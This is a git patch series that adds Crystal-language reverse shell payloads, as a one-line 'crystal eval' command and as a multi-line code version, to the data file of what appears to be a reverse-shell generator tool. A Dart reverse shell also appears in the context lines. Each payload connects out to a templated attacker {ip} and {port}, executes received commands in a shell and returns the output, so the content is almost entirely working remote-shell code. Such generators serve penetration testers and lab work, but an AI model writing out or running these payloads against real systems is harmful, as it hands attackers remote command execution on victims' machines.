From be5226542619787e2c0e2268189bbb5dc7f2d634 Mon Sep 17 00:00:00 2001
From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com>
Date: Sun, 19 Mar 2023 21:47:44 +0100
Subject: [PATCH 1/2] add crystall rev shell

---
 js/data.js | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/js/data.js b/js/data.js
index 2236b91..37b6560 100644
--- a/js/data.js
+++ b/js/data.js
@@ -359,7 +359,12 @@ const reverseShellCommands = withCommandType(
             "name": "Dart",
             "command": "import 'dart:io';\nimport 'dart:convert';\n\nmain() {\n  Socket.connect(\"{ip}\", {port}).then((socket) {\n    socket.listen((data) {\n      Process.start('{shell}', []).then((Process process) {\n        process.stdin.writeln(new String.fromCharCodes(data).trim());\n        process.stdout\n          .transform(utf8.decoder)\n          .listen((output) { socket.write(output); });\n      });\n    },\n    onDone: () {\n      socket.destroy();\n    });\n  });\n}",
             "meta": ["linux", "mac", "windows"]
-        }
+        },
+        {
+            "name": "Crystal",
+            "command": "crystal eval 'require \"process\";require \"socket\";c=Socket.tcp(Socket::Family::INET);c.connect(\"{ip}\",{port});loop{m,l=c.receive;p=Process.new(m.rstrip(\"\\n\"),output:Process::Redirect::Pipe,shell:true);c<<p.output.gets_to_end}'",
+            "meta": ["linux", "windows", "mac"]
+        },
     ]
 );
 

From 58bcedcbf8a4d0bbe43c870c1552bc39321dce63 Mon Sep 17 00:00:00 2001
From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com>
Date: Sun, 19 Mar 2023 21:59:27 +0100
Subject: [PATCH 2/2] add code vs system

---
 js/data.js | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/js/data.js b/js/data.js
index 37b6560..40ae653 100644
--- a/js/data.js
+++ b/js/data.js
@@ -361,10 +361,15 @@ const reverseShellCommands = withCommandType(
             "meta": ["linux", "mac", "windows"]
         },
         {
-            "name": "Crystal",
+            "name": "Crystal (system)",
             "command": "crystal eval 'require \"process\";require \"socket\";c=Socket.tcp(Socket::Family::INET);c.connect(\"{ip}\",{port});loop{m,l=c.receive;p=Process.new(m.rstrip(\"\\n\"),output:Process::Redirect::Pipe,shell:true);c<<p.output.gets_to_end}'",
             "meta": ["linux", "windows", "mac"]
         },
+        {
+            "name": "Crystal (code)",
+            "command": "require \"process\"\nrequire \"socket\"\n\nc = Socket.tcp(Socket::Family::INET)\nc.connect(\"{ip}\", {port})\nloop do \n  m, l = c.receive\n  p = Process.new(m.rstrip(\"\\n\"), output:Process::Redirect::Pipe, shell:true)\n  c << p.output.gets_to_end\nend",
+            "meta": ["linux", "mac"]
+        }
     ]
 );